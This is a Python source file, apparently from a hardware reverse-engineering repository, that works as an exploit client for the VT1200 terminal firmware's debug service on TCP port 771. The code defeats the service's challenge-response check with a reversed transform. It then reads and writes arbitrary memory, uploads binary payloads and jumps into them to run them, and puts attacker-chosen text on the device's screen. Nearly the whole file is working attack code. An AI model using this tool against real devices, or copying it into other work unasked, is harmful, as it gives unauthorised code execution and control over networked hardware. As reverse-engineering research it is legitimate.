mirror of
https://git.k-space.ee/arti/vt1200.git
synced 2026-10-30 12:03:54 +02:00
478 lines
20 KiB
Python
478 lines
20 KiB
Python
#!/usr/bin/env python3
|
|
"""rdebug client -- the stock firmware's "DEBUG TCP Port" (771) console.
|
|
|
|
Protocol (see dwt/notes/rdebug-static.md and dwt/notes/EXPLOIT_ATTEMPT.md):
|
|
|
|
request = u32 be opcode + opcode arguments (each word be)
|
|
response = u32 be (payload_len + 1) + u8 flag + payload_len bytes
|
|
|
|
Before the first opcode >= 2 the dispatcher runs a 16-byte challenge
|
|
(dwt_prf, ROM bit 0x3F59FDC0): it sends one frame with flag 0x7F carrying 16
|
|
bytes, reads exactly 16 raw bytes back, rewrites them **in place** through a
|
|
fixed-key 16-round Feistel, and compares the result with the challenge. The
|
|
required wire reply is ``swap4(invert(swap4(challenge)))``; ``dwt/challenge.py``
|
|
implements it and is the default here. ``echo`` is kept only because it was
|
|
the historical first attempt -- it does **not** pass, and using it makes the
|
|
firmware close the session with no reply.
|
|
|
|
Examples:
|
|
|
|
# liveness -- opcode 7 is a no-op; the reply is 11 bytes
|
|
dwt/exploit.py --host 192.168.99.2 --opcode 7
|
|
|
|
# arbitrary read (bit address), 4 bytes of ROM
|
|
dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 4
|
|
|
|
# write and read back a RAM marker (addresses are TMS34010 BIT addresses)
|
|
dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEAD
|
|
dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 2
|
|
|
|
# load harness/hello-world/payload.bin (82 bytes, linked at bit 01800000)
|
|
# and call it; the payload spins, so --jump times out by design
|
|
dwt/exploit.py --host 192.168.99.2 \
|
|
--poke-file 0x01800000 --file harness/hello-world/payload.bin \
|
|
--jump 0x01800000 --jump-wait 2
|
|
|
|
# opcode 8 -- put attacker-chosen text on the terminal's screen
|
|
dwt/exploit.py --host 192.168.99.2 --message "hello from rdebug"
|
|
|
|
# build the frames without opening a socket
|
|
dwt/exploit.py --opcode 7 --dry-run
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import socket
|
|
import struct
|
|
import sys
|
|
import time
|
|
|
|
import challenge as _challenge # the reversed dwt_prf transform (same dir)
|
|
|
|
OP_NAMES = {
|
|
0: "pager (exits after)",
|
|
1: "printfs off",
|
|
2: "peek",
|
|
3: "poke",
|
|
4: "jump",
|
|
5: "printfs on",
|
|
6: "start_telnet",
|
|
7: "no-op / liveness",
|
|
8: "display_message",
|
|
9: "usage_stats",
|
|
}
|
|
|
|
MAX_XFER = 0x400 # the firmware clamps peek/poke to 1024 bytes
|
|
CHALLENGE_FLAG = 0x7F
|
|
|
|
|
|
class ProtocolError(RuntimeError):
|
|
pass
|
|
|
|
|
|
def be32(value: int) -> bytes:
|
|
return struct.pack(">I", value & 0xFFFFFFFF)
|
|
|
|
|
|
def parse_int(text: str) -> int:
|
|
"""Accept 0x..., decimal, or a bare hex value (firmware addresses usually
|
|
contain A-F, so bare tokens are read as hex)."""
|
|
text = text.strip().replace("_", "")
|
|
if text.lower().startswith("0x"):
|
|
return int(text, 16)
|
|
if any(c in "abcdefABCDEF" for c in text):
|
|
return int(text, 16)
|
|
return int(text, 10)
|
|
|
|
|
|
def parse_hex(text: str) -> bytes:
|
|
text = "".join(text.split()).replace(":", "").replace(",", "")
|
|
if text.lower().startswith("0x"):
|
|
text = text[2:]
|
|
if len(text) % 2:
|
|
text = "0" + text
|
|
return bytes.fromhex(text)
|
|
|
|
|
|
class RDebug:
|
|
def __init__(self, host: str, port: int, timeout: float, verbose: bool):
|
|
self.host = host
|
|
self.port = port
|
|
self.timeout = timeout
|
|
self.verbose = verbose
|
|
self.sock: socket.socket | None = None
|
|
self.challenged = False
|
|
self.challenge_type = "computed"
|
|
self.challenge_raw: bytes | None = None
|
|
|
|
# ---- transport -------------------------------------------------------
|
|
def connect(self) -> None:
|
|
self.sock = socket.create_connection((self.host, self.port), self.timeout)
|
|
self.sock.settimeout(self.timeout)
|
|
if self.verbose:
|
|
print(f"[.] connected to {self.host}:{self.port}", file=sys.stderr)
|
|
|
|
def close(self) -> None:
|
|
if self.sock is not None:
|
|
try:
|
|
self.sock.close()
|
|
finally:
|
|
self.sock = None
|
|
|
|
def send_raw(self, data: bytes) -> None:
|
|
assert self.sock is not None
|
|
if self.verbose:
|
|
print(f"[>] {data.hex(' ')}", file=sys.stderr)
|
|
self.sock.sendall(data)
|
|
|
|
def recv_exact(self, n: int) -> bytes:
|
|
assert self.sock is not None
|
|
buf = bytearray()
|
|
while len(buf) < n:
|
|
chunk = self.sock.recv(n - len(buf))
|
|
if not chunk:
|
|
raise ProtocolError(
|
|
f"connection closed after {len(buf)}/{n} bytes")
|
|
buf += chunk
|
|
return bytes(buf)
|
|
|
|
def read_frame(self) -> tuple[int, bytes]:
|
|
"""Return (flag, payload). Raises ProtocolError on malformed framing."""
|
|
head = self.recv_exact(4)
|
|
(length,) = struct.unpack(">I", head)
|
|
if length == 0 or length > 0x10000:
|
|
raise ProtocolError(f"implausible frame length {length:#x}")
|
|
body = self.recv_exact(length) # flag + (length-1) payload
|
|
flag, payload = body[0], body[1:]
|
|
if self.verbose:
|
|
print(f"[<] len={length} flag={flag:#04x} payload={payload.hex(' ')}",
|
|
file=sys.stderr)
|
|
return flag, payload
|
|
|
|
# ---- challenge -------------------------------------------------------
|
|
@staticmethod
|
|
def challenge_answer(challenge: bytes, mode: str) -> bytes:
|
|
"""Compute the 16-byte answer.
|
|
|
|
The firmware stores four runtime words in host order, byte-swaps each
|
|
one (`ntohl`, ROM 0x07F65828), sends *those* 16 bytes with flag 0x7F,
|
|
reads 16 bytes back, rewrites them in place through a fixed-key
|
|
16-round Feistel, and compares the result with the host-order
|
|
challenge. So the reply must be ``swap4(invert(swap4(challenge)))``,
|
|
which is what ``dwt/challenge.py`` implements.
|
|
|
|
``computed`` (the default) uses that inverse and passes. ``echo``
|
|
returns the challenge unchanged and ``swap`` only fixes the byte
|
|
order; both fail and make the firmware kill the session, and are kept
|
|
for reference only.
|
|
"""
|
|
if len(challenge) != 16:
|
|
raise ProtocolError(f"challenge is {len(challenge)} bytes, not 16")
|
|
if mode == "echo":
|
|
return bytes(challenge)
|
|
if mode == "computed":
|
|
return _challenge.respond(bytes(challenge))
|
|
if mode == "swap": # historical: byte-order layer only, fails
|
|
out = bytearray()
|
|
for i in range(0, 16, 4):
|
|
out += challenge[i:i + 4][::-1]
|
|
return bytes(out)
|
|
raise ValueError(mode)
|
|
|
|
def answer_challenge(self, challenge: bytes) -> None:
|
|
if self.challenge_raw is not None:
|
|
answer = self.challenge_raw
|
|
else:
|
|
answer = self.challenge_answer(challenge, self.challenge_type)
|
|
if self.verbose:
|
|
print(f"[.] answering {self.challenge_type} challenge with "
|
|
f"{answer.hex(' ')}", file=sys.stderr)
|
|
self.send_raw(answer)
|
|
self.challenged = True
|
|
|
|
def maybe_challenge(self, timeout: float | None = None) -> None:
|
|
"""Read a frame; if it is the 0x7F challenge, answer it and read on.
|
|
|
|
Returns the first non-challenge frame's (flag, payload) is handled by
|
|
the caller, so this method only *answers* a challenge it sees. It is
|
|
called before an opcode >= 2 and returns after the challenge frame has
|
|
been answered."""
|
|
assert self.sock is not None
|
|
old = self.sock.gettimeout()
|
|
if timeout is not None:
|
|
self.sock.settimeout(timeout)
|
|
try:
|
|
flag, payload = self.read_frame()
|
|
finally:
|
|
self.sock.settimeout(old)
|
|
if flag == CHALLENGE_FLAG:
|
|
self.answer_challenge(payload)
|
|
else:
|
|
# The server spoke before we sent an opcode; keep it as a warning.
|
|
print(f"[!] unexpected pre-opcode frame flag={flag:#x} "
|
|
f"payload={payload.hex(' ')}", file=sys.stderr)
|
|
|
|
# ---- commands --------------------------------------------------------
|
|
def command(self, opcode: int, args: bytes = b"", wait: bool = True,
|
|
wait_timeout: float | None = None) -> tuple[int, bytes]:
|
|
if opcode >= 2 and not self.challenged:
|
|
# Send ONLY the opcode: the dispatcher runs the 16-byte challenge
|
|
# before the handler reads its arguments. Sending the arguments
|
|
# early makes dwt_prf consume the first 16 bytes of them as the
|
|
# challenge answer and shifts every later field (observed live:
|
|
# peek complained "maximum peek size" because its length field had
|
|
# been eaten).
|
|
self.send_raw(be32(opcode))
|
|
self.challenged = True
|
|
flag, payload = self.read_frame()
|
|
if flag == CHALLENGE_FLAG:
|
|
self.answer_challenge(payload)
|
|
if args:
|
|
self.send_raw(args)
|
|
else:
|
|
self.send_raw(be32(opcode) + args)
|
|
|
|
if not wait:
|
|
return -1, b""
|
|
if wait_timeout is not None:
|
|
assert self.sock is not None
|
|
self.sock.settimeout(wait_timeout)
|
|
try:
|
|
return self.read_frame()
|
|
finally:
|
|
if wait_timeout is not None and self.sock is not None:
|
|
self.sock.settimeout(self.timeout)
|
|
|
|
def liveness(self, opcode: int = 7) -> tuple[int, bytes]:
|
|
return self.command(opcode)
|
|
|
|
def peek(self, bit_addr: int, length: int) -> bytes:
|
|
if length < 1 or length > MAX_XFER:
|
|
raise ValueError(f"peek length must be 1..{MAX_XFER}")
|
|
flag, payload = self.command(2, be32(bit_addr) + be32(length))
|
|
if flag != 1:
|
|
raise ProtocolError(f"peek: expected binary flag 1, got {flag:#x}: "
|
|
f"{payload!r}")
|
|
if len(payload) != length:
|
|
raise ProtocolError(f"peek: asked {length} bytes, got {len(payload)}")
|
|
self.expect_done()
|
|
return payload
|
|
|
|
def poke(self, bit_addr: int, data: bytes) -> None:
|
|
if not data or len(data) > MAX_XFER:
|
|
raise ValueError(f"poke length must be 1..{MAX_XFER}")
|
|
flag, payload = self.command(3, be32(bit_addr) + be32(len(data)) + data)
|
|
if flag != 0:
|
|
# "Done\n" is flag 0; anything else is the firmware's error text
|
|
print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr)
|
|
self.expect_done(payload if flag == 0 else None)
|
|
|
|
def display_message(self, level: int, text: bytes | str,
|
|
terminate: bool = True) -> bytes:
|
|
"""Opcode 8: ask the firmware to display *text* (len 1..1024).
|
|
|
|
Body layout: ``u32 be level, u32 be len, len raw bytes``. The handler
|
|
allocates len+2 and copies len bytes, but it does **not** write a
|
|
terminator (measured: a message sent without one is followed on screen
|
|
by stale heap bytes). So ``terminate`` (the default) appends one NUL,
|
|
and the NUL counts toward ``len``. Returns the reply payload (normally
|
|
``b"Done\\n\\x00"``); raises ProtocolError on an error reply.
|
|
"""
|
|
if isinstance(text, str):
|
|
text = text.encode("latin-1")
|
|
if terminate and not text.endswith(b"\x00"):
|
|
text += b"\x00"
|
|
if not 1 <= len(text) <= MAX_XFER:
|
|
raise ValueError(f"message length must be 1..{MAX_XFER} bytes")
|
|
flag, payload = self.command(8, be32(level) + be32(len(text)) + text)
|
|
if flag != 0:
|
|
raise ProtocolError(f"display_message: expected Done flag 0, "
|
|
f"got {flag:#x}: {payload!r}")
|
|
self.expect_done(payload)
|
|
return payload
|
|
|
|
def jump(self, bit_addr: int, args: list[int], wait: bool = True,
|
|
wait_timeout: float | None = None) -> tuple[int, bytes] | None:
|
|
body = be32(bit_addr) + be32(len(args))
|
|
for a in args:
|
|
body += be32(a)
|
|
if not wait:
|
|
self.command(4, body, wait=False)
|
|
return None
|
|
try:
|
|
flag, payload = self.command(4, body, wait_timeout=wait_timeout)
|
|
except (socket.timeout, TimeoutError):
|
|
return None
|
|
if flag == 1:
|
|
(retval,) = struct.unpack(">I", payload[:4])
|
|
print(f"[.] jump returned {retval:#010x} ({retval})")
|
|
try:
|
|
self.expect_done()
|
|
except (socket.timeout, TimeoutError):
|
|
pass
|
|
return retval, payload
|
|
return None
|
|
|
|
def expect_done(self, payload: bytes | None = None) -> None:
|
|
if payload is not None:
|
|
if payload.startswith(b"Done\n"):
|
|
return
|
|
raise ProtocolError(f"expected Done, got {payload!r}")
|
|
flag, body = self.read_frame()
|
|
if flag != 0 or not body.startswith(b"Done\n"):
|
|
raise ProtocolError(f"expected Done frame, got flag={flag:#x} "
|
|
f"{body!r}")
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# dry run: print exactly what would go on the wire
|
|
# ---------------------------------------------------------------------------
|
|
|
|
def build_frames(args) -> list[bytes]:
|
|
frames = []
|
|
if args.opcode is not None:
|
|
frames.append(be32(args.opcode))
|
|
if args.message is not None:
|
|
text = args.message.encode("latin-1")
|
|
if not text.endswith(b"\x00"):
|
|
text += b"\x00" # the handler does not add a terminator
|
|
frames.append(be32(8) + be32(args.message_level) + be32(len(text)) + text)
|
|
if args.peek is not None:
|
|
frames.append(be32(2) + be32(args.peek) + be32(args.len))
|
|
if args.poke is not None:
|
|
data = parse_hex(args.hex or "")
|
|
frames.append(be32(3) + be32(args.poke) + be32(len(data)) + data)
|
|
if args.poke_file is not None:
|
|
data = open(args.file, "rb").read()
|
|
frames.append(be32(3) + be32(args.poke_file) + be32(len(data)) + data)
|
|
if args.jump is not None:
|
|
body = be32(args.jump) + be32(len(args.arg))
|
|
for a in args.arg:
|
|
body += be32(a)
|
|
frames.append(be32(4) + body)
|
|
return frames
|
|
|
|
|
|
def main(argv: list[str]) -> int:
|
|
ap = argparse.ArgumentParser(
|
|
description="Client for the VT1200 stock firmware's rdebug TCP service "
|
|
"(port 771). Addresses are TMS34010 bit addresses; use "
|
|
"--byte-addr to give byte addresses instead.",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter)
|
|
ap.add_argument("--host", default="192.168.99.2")
|
|
ap.add_argument("--port", type=int, default=771)
|
|
ap.add_argument("--timeout", type=float, default=5.0,
|
|
help="socket timeout for ordinary command replies")
|
|
ap.add_argument("--challenge", choices=("computed", "echo", "swap"),
|
|
default="computed",
|
|
help="challenge answer: computed (default, passes), or "
|
|
"echo/swap, which are historical and fail")
|
|
ap.add_argument("--challenge-raw", metavar="HEX",
|
|
help="override the 16-byte challenge answer (experiment)")
|
|
ap.add_argument("--byte-addr", action="store_true",
|
|
help="arguments are byte addresses; multiply by 8")
|
|
ap.add_argument("--dry-run", action="store_true",
|
|
help="print the request frames, do not connect")
|
|
ap.add_argument("--verbose", action="store_true")
|
|
|
|
g = ap.add_mutually_exclusive_group(required=False)
|
|
g.add_argument("--opcode", type=int, help="send a bare opcode (7 = liveness)")
|
|
g.add_argument("--peek", type=parse_int, help="peek: bit address")
|
|
g.add_argument("--poke", type=parse_int, help="poke: bit address")
|
|
g.add_argument("--poke-file", type=parse_int,
|
|
help="poke a whole file: bit address")
|
|
g.add_argument("--jump", type=parse_int, help="jump: call bit address")
|
|
g.add_argument("--message", metavar="TEXT",
|
|
help="opcode 8: display attacker-chosen text on the "
|
|
"terminal screen")
|
|
|
|
ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)")
|
|
ap.add_argument("--message-level", type=parse_int, default=0,
|
|
help="opcode 8 first word (default 0; try 0..3)")
|
|
ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF")
|
|
ap.add_argument("--file", help="poke-file payload path")
|
|
ap.add_argument("--arg", type=parse_int, action="append", default=[],
|
|
help="jump argument (repeat up to 20)")
|
|
ap.add_argument("--jump-wait", type=float, default=0.0,
|
|
help="seconds to wait for a jump return; 0 = don't wait "
|
|
"(a spinning payload never returns)")
|
|
ap.add_argument("--poke-chunk", type=int, default=MAX_XFER,
|
|
help="split large poke-file payloads into chunks")
|
|
|
|
args = ap.parse_args(argv[1:])
|
|
|
|
if args.byte_addr:
|
|
for name in ("peek", "poke", "poke_file", "jump"):
|
|
v = getattr(args, name)
|
|
if v is not None:
|
|
setattr(args, name, v * 8)
|
|
args.arg = [a for a in args.arg]
|
|
|
|
if args.poke is not None and not args.hex:
|
|
ap.error("--poke needs --hex")
|
|
if args.poke_file is not None and not args.file:
|
|
ap.error("--poke-file needs --file")
|
|
if args.jump is not None and len(args.arg) > 20:
|
|
ap.error("the firmware accepts at most 20 jump arguments")
|
|
|
|
if args.dry_run:
|
|
for frame in build_frames(args):
|
|
print(frame.hex(" "))
|
|
return 0
|
|
|
|
rd = RDebug(args.host, args.port, args.timeout, args.verbose)
|
|
rd.challenge_type = args.challenge
|
|
if args.challenge_raw:
|
|
rd.challenge_raw = parse_hex(args.challenge_raw)
|
|
if len(rd.challenge_raw) != 16:
|
|
ap.error("--challenge-raw must be exactly 16 bytes")
|
|
try:
|
|
rd.connect()
|
|
rc = 0
|
|
if args.opcode is not None:
|
|
flag, payload = rd.liveness(args.opcode)
|
|
print(f"opcode {args.opcode} -> flag={flag:#04x} "
|
|
f"payload={payload.hex(' ')} ({payload!r})")
|
|
if args.opcode == 7 and payload != b"Done\n\x00":
|
|
print("[!] opcode 7 did not return the expected Done\\n",
|
|
file=sys.stderr)
|
|
rc = 1
|
|
if args.peek is not None:
|
|
data = rd.peek(args.peek, args.len)
|
|
print(f"peek {args.peek:#010x} ({args.len}) -> {data.hex(' ')}")
|
|
if args.poke is not None:
|
|
data = parse_hex(args.hex)
|
|
rd.poke(args.poke, data)
|
|
print(f"poke {args.poke:#010x} <- {data.hex(' ')}: ok")
|
|
if args.poke_file is not None:
|
|
data = open(args.file, "rb").read()
|
|
off = 0
|
|
while off < len(data):
|
|
chunk = data[off:off + args.poke_chunk]
|
|
rd.poke(args.poke_file + off * 8, chunk)
|
|
off += len(chunk)
|
|
print(f"poke-file {args.file}: {len(data)} bytes at "
|
|
f"{args.poke_file:#010x}: ok")
|
|
if args.message is not None:
|
|
rd.display_message(args.message_level, args.message)
|
|
print(f"message level={args.message_level} {args.message!r}: ok")
|
|
if args.jump is not None:
|
|
result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0,
|
|
wait_timeout=args.jump_wait or None)
|
|
if result is None:
|
|
print(f"jump {args.jump:#010x}: no return within "
|
|
f"{args.jump_wait}s (expected for a non-returning payload)")
|
|
else:
|
|
print(f"jump {args.jump:#010x}: retval={result[0]:#010x}")
|
|
return rc
|
|
except (OSError, ProtocolError) as exc:
|
|
print(f"error: {exc}", file=sys.stderr)
|
|
return 2
|
|
finally:
|
|
rd.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main(sys.argv))
|